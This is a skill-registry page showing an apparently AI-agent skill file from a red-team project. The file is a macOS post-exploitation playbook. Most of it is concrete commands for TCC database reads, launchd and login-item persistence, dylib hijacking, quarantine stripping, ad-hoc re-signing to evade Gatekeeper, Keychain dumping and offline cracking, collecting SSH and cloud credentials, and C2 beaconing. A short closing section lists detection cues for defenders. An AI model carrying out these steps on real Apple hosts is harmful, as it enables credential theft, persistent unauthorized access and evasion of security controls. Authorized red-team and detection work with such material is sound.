macOS endpoint post-exploitation — launchd persistence, TCC bypass, Keychain credential access, dylib hijacking, Gatekeeper/quarantine evasion, and discovery on Apple hosts.
79%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.mdPost-compromise operations on Apple/macOS endpoints. Apple's controls
(TCC, Gatekeeper/quarantine, SIP, code signing, AMFI) shape every step, so the
playbook is organized around defeating or living within them. Prefer
on-host built-ins (launchctl, security, sqlite3, dscl, system_profiler,
codesign, xattr) over dropped tooling for OPSEC.
Authorized engagements only. Stay within RoE scope; emulate destructive actions as benign proofs unless explicitly authorized.
system_profiler SPSoftwareDataType SPHardwareDataType — OS build, model, SIP.csrutil status — System Integrity Protection on/off.dscl . -list /Users | grep -v '^_' — local accounts; id, groups.sw_vers, profiles status -type enrollment — MDM/Jamf managed? (T1647 plist prefs).ls /Library/Objective-See, pgrep -l 'CrowdStrike|SentinelOne|falcon|Jamf|santad'.sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db 'select * from access'
(user) and /Library/Application Support/com.apple.TCC/TCC.db (system, needs root).
Abuse an already-FDA-granted app (e.g. a terminal/Electron app) to read
protected data instead of triggering a prompt.sudo -n true (cached creds), membership in admin.find / -perm -4000 -type f 2>/dev/null.~/Library/LaunchAgents (user, no root) or /Library/LaunchDaemons (root,
runs as root at boot); launchctl bootstrap gui/$(id -u) <plist>. The classic,
noisy-but-reliable mechanism.osascript -e 'tell application "System Events" to make login item ...' or a Service Management (SMAppService) helper.@rpath or weak-linked dylib (otool -l <app>); plant a malicious dylib that
re-exports the original. Survives as the host app's identity.com.apple.quarantine xattr; xattr -d com.apple.quarantine <file> (or
xattr -c) strips it so the binary runs without the Gatekeeper prompt.codesign --force --deep --sign - <bundle> ad-hoc
signs a tampered bundle; check codesign -dv --verbose=4 and spctl -a -vv.chflags, chmod.security find-generic-password -ga <svc> /
security find-internet-password; security dump-keychain -d ~/Library/Keychains/login.keychain-db (prompts unless unlocked). Offline:
exfil the *.keychain-db + the login password and crack with chainbreaker.~/Library/Application Support/... (often
TCC-protected — see TCC abuse above).~/.ssh, ~/.aws, ~/.kube./tmp or ~/Library/Caches; archive with tar/ditto.post-exploit/c2 and
post-exploit/c2-sliver (Sliver has a macOS implant). Beacon over HTTPS to
blend with managed-device telemetry.*/LaunchAgents and */LaunchDaemons and launchctl
bootstraps; alert on xattr -d com.apple.quarantine, ad-hoc codesign,
security dump-keychain, and TCC.db reads by non-Apple binaries.osascript/launchctl is the gap to watch.post-exploit/credential-access, post-exploit/lateral-movement,
post-exploit/privilege-escalation, shared/defense-evasion, reverser/ios-static.
PurpleAILAB/Decepticon
49888ee
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.